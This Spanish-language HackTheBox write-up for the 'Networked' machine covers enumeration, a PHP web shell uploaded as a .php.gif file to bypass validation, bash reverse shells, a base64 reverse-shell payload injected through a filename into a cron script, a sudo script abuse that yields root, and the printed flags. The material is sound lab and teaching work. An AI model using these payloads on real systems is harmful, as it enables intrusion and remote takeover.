> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md). # Guía de Networked HackTheBox Guía de Networked HackTheBox para Linux que cubre enumeración web, evasión de carga, inyección de comandos y escalada con sudo. {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeración web y revisión del código fuente * Evasión de la validación de subida de archivos * Inyección de comandos en un trabajo cron * Abuso de una mala configuración de sudo {% endhint %} ## Reconocimiento ### Configuración del espacio de trabajo Crea un espacio de trabajo y luego verifica la conectividad con el objetivo. ```bash mkt ping -c 1 10.129.5.171 ``` La respuesta confirma que el objetivo es un host Linux.
### Escaneo TCP Identifica los servicios TCP expuestos con un escaneo completo de puertos. ```bash sudo nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.171 -oG allPorts ``` El escaneo identifica los puertos `22` y `80`.
### Escaneo de servicios y versiones Identifica los servicios y las versiones que se ejecutan en los puertos expuestos. ```bash nmap -sCV -p22,80 10.129.5.171 -oN targeted ``` El host ejecuta Apache `2.4.6` en CentOS con PHP `5.4.16`.
### Puerto 80 El sitio web muestra el siguiente mensaje: > Hello mate, we're building the new FaceMash!\ > Help by funding us and be the new Tyler\&Cameron!\ > Join us at the pool party this Sat to get a glimpse
Enumera los directorios con Gobuster. ```bash gobuster dir -u http://10.129.5.171 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100 ``` El escaneo revela `/backup` y `/uploads`.
El `/backup` el directorio expone un archivo TAR.
Extrae el archivo localmente. ```bash tar xopf foo.tar ``` El archivo contiene cuatro archivos PHP: * `index.php` * lib.php * photos.php * upload.php El `upload.php` la página proporciona un formulario de subida.
Una subida directa de PHP falla porque la aplicación valida el formato de la imagen. ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` La aplicación rechaza el archivo como una imagen no válida.
Sube un archivo con una cabecera GIF y una `.php.gif` extensión. ```bash Content-Disposition: form-data; name="myFile"; filename="cmd.php.gif" Content-Type: application/x-php GIF89a " . shell_exec($_GET['cmd']) . ""; ?> ``` La aplicación acepta la subida.
El archivo subido ejecuta código PHP a pesar de su extensión GIF. ```bash http://10.129.5.171/uploads/10_10_15_2.php.gif?cmd=id ```
Inicia un listener en el puerto `443`. ```bash sudo nc -nvlp 443 ``` Usa la ejecución de comandos para obtener una shell inversa. ```bash bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261" ```
### Pivota a `guly` Se ejecuta una tarea programada `/home/guly/check_attack.php` cada tres minutos. ```bash */3 * * * * php /home/guly/check_attack.php ``` El script revisa archivos en `/var/www/html/uploads/`. ```php $value) { $msg=''; if ($value == 'index.html') { continue; } #echo "-------------\n"; #print "check: $value\n"; list ($name,$ext) = getnameCheck($value); $check = check_ip($name,$value); if (!($check[0])) { echo "attack!\n"; # todo: attach file file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); exec("rm -f $logpath"); exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); echo "rm -f $path$value\n"; mail($to, $msg, $msg, $headers, "-F$value"); } } ?> ``` El script pasa cada nombre de archivo a un comando de shell sin manejarlo de forma segura. Inyecta un comando a través de un nombre de archivo manipulado. Codifica una carga útil de shell inversa. ```bash echo "bash -i >& /dev/tcp/10.10.15.2/4444 0>&1" | base64 ``` La carga útil codificada es: ``` YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo= ``` Crea el nombre de archivo malicioso. ```bash touch ";echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=' | base64 -d | bash;" ``` Inicia un listener en el puerto `4444`, luego espera la tarea programada. ```bash nc -nvlp 4444 ```
La tarea programada devuelve una shell como `guly`.
### Bandera user.txt ``` fbeee367bab941cefca951caef664f27 ```
### Escalada de privilegios Comprueba los comandos que `guly` puede ejecutar con `sudo`. ```bash sudo -l ``` El usuario puede ejecutar `/usr/local/sbin/changename.sh` como `root`.
El script escribe valores controlados por el usuario en un archivo de configuración de red. ```bash #!/bin/bash -p cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp="^[a-zA-Z0-9_\ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo "interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo "wrong input, try again" echo "interface $var:" read x done echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly done /sbin/ifup guly0 ``` El filtro de entrada permite espacios y barras. Cuando `ifup` procesa la configuración generada, `test /bin/sh` dispara una shell. Ejecuta el script. ```bash sudo /usr/local/sbin/changename.sh ``` En cualquier prompt, introduce: ``` test /bin/sh ``` Esto abre una shell como `root`.
### Bandera root.txt
``` 6fa61de6fa918d2db507070fec1364e8 ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.